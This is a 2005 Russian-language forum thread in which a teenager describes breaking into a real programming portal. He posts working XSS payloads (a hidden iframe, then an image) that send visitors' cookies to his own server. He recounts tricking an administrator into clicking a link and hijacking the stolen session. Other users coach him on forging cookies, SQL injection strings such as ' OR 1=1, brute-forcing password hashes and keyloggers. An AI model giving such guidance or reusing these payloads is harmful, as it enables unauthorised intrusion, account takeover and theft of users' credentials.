Взлом движка сайта

Discussion in 'Болталка' started by Hquak, 5 Jul 2005.

  1. Hquak

    Hquak Guest

    Reputations:
    0
    Здравствуйте.
    Не знаю, куда лучше написать это сообщение, поэтому пишу во флейм, так как написано, что сюда можно писать все(кроме рекламы).

    Итак, мне 15 лет, я "увлекаюсь" web-разработками. Думаю, что неплохо владею PHP(+MySQL),HTML,CSS,JavaScript.

    Я нашел уязвимость на одном из порталов по программированию. Уязвимость вот какая:

    Есть страница редактирования настроек профиля. Там есть поля "Имя", "Email", "Откуда вы" и т.п. После проверки всех полей "на вшивость" я обнаружил, что при редактировании профиля поле "Откуда вы" не обрабатывается функцией htmlspecialchars(), а также не ограничивается в длине. То есть на страницу редактирования собственного профиля можно внедрить абсолютно любой html(+javascript, etc.) код.

    Теперь у меня есть несколько вопросов:

    1. Почему, когда я вставляю в это незащищенное поле текст типа <? echo "VasiaLamer"; ?>, у меня не выполняется код? При просмотре исходника страницы(view source) этот код написан без изменений. То есть символы < и > не заменены. Как при этом поступить, чтобы можно было выполнить запрос в БД?

    2. На странице написания приватных сообщений обнаружена такая же ошибка при попытке "переслать" сообщение другому пользователю. Я сформировал javascript'ом строку вида http://hostname.ru/code.php?cookie="куки"&host="хост"
    Где скрипт code.php записывает данные из строки в файлы. В результате я получил несколько хэшей паролей. Что мне с ними делать? Начать подброрку с помощью md5inside?

    3. Где можно почитать про то, что такое шеллы и снифферы?
     
  2. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    1) Видать ты не так хорошо знаешь PHP как рассказываешь =). Возможны 2 варианта: работа с MySQL или работа с текстовой бд ввиде текстовых файлов. Возьмем случай номер 1. Все введенные тобой данные считываются из ячеек таблицы бд MySQL специальной командой. Но ведь там нигде нет вызова вставки файла в сценарий функцией include( ) или require( ). Значит введенная тобой информация ни каким образом не сможет быть интерпретирована как php код. Тоже самое с текстовой дб. Все манипуляции скорее всего происходят с массивом, созданным обращением к файле текст-дб $file=file("text.txt") или $fp=fopen("text.txt", "r"). В любом случае содержимое текст-дб будет так или иначе занесено в переменную(ые) и(или) массив(ы) и так же никаим образом не сможет проявить себя как PHP-сценарий.
    2)Изучи структуру своих куков на портале и сверь с тем что тебе пришло. Если на портале есть система "запомнить меня" тогда ты сможешь пдделать куки и зайти на портал под чужим логином. Т.о. есть возм-сть получить админку. Для подмены куков существуют спец проги, или это можно делать вручную

    3) www.ya.ru
     
  3. Hquak

    Hquak Guest

    Reputations:
    0
    1) Видать.

    Я правильно понял, с помощью этой уязвимости ничего нельзя сделать?
     
  4. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Нет. Если я правильно понял, то это пассивный Xss. С его помощью можно украсть куки пользователя или задефейсить браузерозависимо страницу своего профайла.
     
  5. Hquak

    Hquak Guest

    Reputations:
    0
    Это ясно, только вот... зачем мне дефейсить страницу своего профиля?
     
  6. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Чтобы было развлекательно админам посмотреть.
     
  7. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3
    Точно
     
  8. Hquak

    Hquak Guest

    Reputations:
    0
    Ладно, остановимся на cookies.

    Написал небольшой скрипт на JavaScript, но кое-что не работает. Помогите.

    Загружаю на страницу невидимый фрейм, который открывает мой скрипт и пишет в строке cookies.

    <iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' src='javascript:var a;a=document.cookie;parent.topwindow.location.href="http://
    hostname.ru/code.php?cookie="+a;'></iframe>

    Почему-то переменная "a" пуста...

    Если неприльно попробовать вот так:

    <iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' onload='javascript:var a;a=document.cookie;parent.topwindow.location.href="http://
    hostname.ru/code.php?cookie="+a;'></iframe>

    То переменная "a" есть. В ней cookies. Но опять фрейм постоянно перезагружается.

    Что тут делать? Почему в первом случае переменная пуста, а во втором нет?

    P.S. Или может есть другой способ загрузить документ на своем сервере, чтобы пользователь этого не заметил?
     
  9. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Потому что фрейм не считается тем же документом что и основная страница. Внедряй через картинку размером 0 на 0 или стили любого другого тега.
     
  10. Hquak

    Hquak Guest

    Reputations:
    0
    Ура! Внедрил код в картинку. Работает. :)

    Написал у них на сайте в гостевухе адрес "http://...адрес просмотра профиля..." и еще какую-то лабуду. Один из админов клюнул и зашел по этой ссылке. :)

    В результате в мой файл hackcookie.txt были записаны значения cookies. С помощью программы Cookie Editor(спасибо ответившим в соседней ветке) заменил значения своих cookies на cookies из файла. Захожу на сайт - я администратор. :) Дело сделано! :)

    Всем спасибо! :)


    Но, как оказалось позже, права администратора ничего не дают, кроме как писать в гостевухе от его имени... У них на сайте 2 степени защиты. Теперь, чтобы войти в административный центр, мне надо ввести логин и пароль... но данные того админа не подходят. Точно не помню, как такая защита называется, но вроде SSL. Выскакивает такое окошко с двумя полями "логин" и "пароль".
    Эту защиту можно как-нибудь обойти?
     
  11. Шайзе

    Шайзе New Member

    Joined:
    21 May 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Я знаю 2-а самых простых способа:
    1) Встать около юзера когда он вводит данные =)
    2) Отследить набор данных через прерывания клавиатуры (разнообразные клавиатурные шпионы), но это отпадает даже при минимальной защите машины... хотя...
     
  12. Hquak

    Hquak Guest

    Reputations:
    0
    в общем взлом такой системы отпадает, правильно?
     
  13. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    =)) Улыбнуло "Точно не помню, как такая защита называется, но вроде SSL". SSL - весчь "немножечко" другая.
    Если окошко выскакивает - это еще ничего н значит. Авторизация может прохдить самым обычым спосоом, каким она проходила бы и через вебформу. Поэтому можно дать след. советы:
    1)Попробуй слепую SQL-injection типа pass='qwerty' OR 1=1
    2)Попробуй брутануть хеш админа из кукисов и ляпнуть в окошко авторизации
     
  14. Hquak

    Hquak Guest

    Reputations:
    0
    Нет, все-таки я думаю, что это SSL. Зайдите, например, на vologda.ru/home - у вас выскочит окошечко, где вам надо будет ввести данные. Вот на том сайте выскакивает точно такое же.

    Теперь вопрос о другом. Думаю, что на сайте можно сделать sql-injection.

    Меняю значение cookies с выданого мне хэша (например 20deac5f8ab126ec45cb1ddb564239bb) на "+or+1=1/* . В результате на каждой странице сайта вверху появляются ошибки:

    Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 10 in /home/xxx/public_html/index.php on line 59

    Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 10 in /home/xxx/public_html/index.php on line 60


    Еще ошибки подобного рода выскакивают на сайте, когда в строке ?mod=news&id=1 пишешь вместо 1 несуществующий id новости, например ?mod=news&id=12425345345

    Но вот что дальше делать... я и не знаю. Догадываюсь, но... все-равно прошу помощи.
     
  15. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,091
    Likes Received:
    671
    Reputations:
    591
    id=1 здесь подставь перед 1 знак ' если кавычка не будет экранироваться и выскочит ошибка то есть скл инъекция..
     
  16. Hquak

    Hquak Guest

    Reputations:
    0
    Существующая новость - id=73 - все выводит нормально, никаких ошибок, естественно.

    Ставлю - id='73 - на страницу лезет КУЧА(6!) ошибок вот такого типа:

    Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 17 in /home/xxx/public_html/news/index.php on line 31

    Все последующие ошибки ничем не отличаются, кроме номера строки с ошибкой. То есть дальше on line 32.. 33.. 34..


    Подставляю - id="73 - те же ошибки.

    Делаем SQL-INJECTION? :)
     
  17. Hquak

    Hquak Guest

    Reputations:
    0
    Если ставим кавычку после номера, то есть - id=73" - то ничего не происходит. Ошибки нет.
     
  18. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    716
    Likes Received:
    142
    Reputations:
    50
    Как это:
    я админ, но права админа ничего не дают? Нахрена тогда быть админом, если у тебя нет никаких прав?
    Может, ты просто не знаешь, где админка лежит?
     
  19. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,091
    Likes Received:
    671
    Reputations:
    591
    мда похоже на инъекция теперь замути запрос )) здесь уже я мало знаю к сожалению..
     
  20. Hquak

    Hquak Guest

    Reputations:
    0
    На сайт я вхожу под чужим именем(админом). Там есть ссылка на "административный центр". Я иду по ней, у меня выскакивает окошко, о котором я уже писал. Поэтому права администратора пока ничего не дают, кроме как писать от его имени в гостевухе.

    Почему ошибку выдает, когда ставишь кавычку перед номером, а не после?